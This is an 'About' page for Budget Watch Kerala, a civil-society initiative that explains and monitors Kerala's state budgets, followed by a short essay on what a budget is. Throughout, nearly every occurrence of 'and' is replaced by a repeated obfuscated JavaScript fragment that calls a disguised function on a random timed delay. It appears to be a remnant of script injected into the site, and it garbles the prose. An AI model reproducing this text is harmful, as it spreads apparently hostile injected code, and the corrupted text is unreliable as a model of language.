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About

Budget Watch Kerala– a budget accountability andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocacy initiative – promoted by the Institute for Sustainable Development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Governance (ISDG) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Social Accountability andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Budget Analysis Network (SABAN) is an effort in bringing the budget closer to the people, to enhance the understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding of the layman about the intricacies of the local andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and state government budgets of Kerala.

ISDG (http://ccds.in/isdg.htm) which became operational in 2012 is the governance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and development programme of the Centre for Communication andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Development Studies (CCDS), Pune. ISDG focuses on policy research andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and capacity development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeks to strengthen democratic governance, sustainable human development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inclusive participation of people in all spheres of governance. ISDG invests its efforts in three specific areas:


a) Participatory Urban Governance with a focus on urban poverty, budget transparency andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and accountability andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and people’s participation;

b) Policy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Budget Analysis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Advocacy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Social Watch of governance institutions; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and

c) Youth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Women’s empowerment.

 

Though in the first year, most of the work of the ISDG was focused in Kerala, ISDG is expected to grow as a national level strategic resource centre with specific focus on advocacy, research andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and capacity development in the area of urban governance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and poverty, as well as the initiatives for youth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s empowerment.

ISDG functions as the secretariat of SABAN which is a network of civil society organizations, researchers, activists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and media persons across Kerala to promote andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocate transparency andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and accountability in governance with particular reference to the budgetary process. The objective of the network is to facilitate research & documentation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and media advocacy.

ISDG is also part of the national level network of state budget groups called ‘People’s Budget Initiative’ under Centre for Budget andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Governance Accountability (CBGA), New Delhi (http://www.cbgaindia.org/).

De-Mystifying the Budget

 To the public, the annual state budget presentation is a ritual that occurs in the last day of the second week of March when the Hon. Finance Minister makes a speech a few hours long. The arguments concerning whether the Budget was a surplus or a deficit does not stay long with the people. When the Finance Minister presents the fiscal deficit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the revenue deficit favourably, the Opposition attacks the incumbent government vehemently using the same numbers. When the Finance Minister makes a statement that it’s all right even if the public debt is increasing, the Opposition locks horns stating the per capita debt. While the Finance Minister royally claims that it is a ‘people’s budget’, the Opposition calls it anti-people. The financial experts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and economists play their roles in the visual media by using jargons like fiscal deficit, revenue deficit, primary deficit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and per capita debt on the day of the budget presentation. The next day while pro-government media praise the budget, opposition media lambast it. With this all the hullaballoo surrounding the annual budget comes to an end. The same process repeats itself in the following year. This is what the budget is to the people.

 

But what is the budget? It is a comprehensive policy document consisting of schemes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and programs that affect the daily lives of the people of the state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also the economy. It is a basic document containing information of all development programs in a year.It also determines the annual plan of the state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and development programs of local governments. The budget contains gives a pathway towards resource mobilization for implementing these developmental programs.

 

In this way, Kerala Budget Watch is a humble effort in bringing this important policy document to the people in a simple language. Each finance minister andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the government in power has a responsibility of implementing all the programs mentioned in the budget. The government is not held accountable for failing to carry out the promises made by them. The government will be held accountable only if questions are raised by the public regarding unfulfilled budget promises. In this way, we hope to be the voice of the people.

 

If we are able to bring the budget closer to the people, if we can make the people think about the budget, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if we are able to function as a catalyst in the people convincing the government to implement budget proposals, we would consider this humble endeavor a success.

 

This is only a small beginning. We will be bringing in analysis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and explanations. For more details, criticisms, feedback about the Kerala Budget, watch this space!

 

 Kerala Budget Watch Team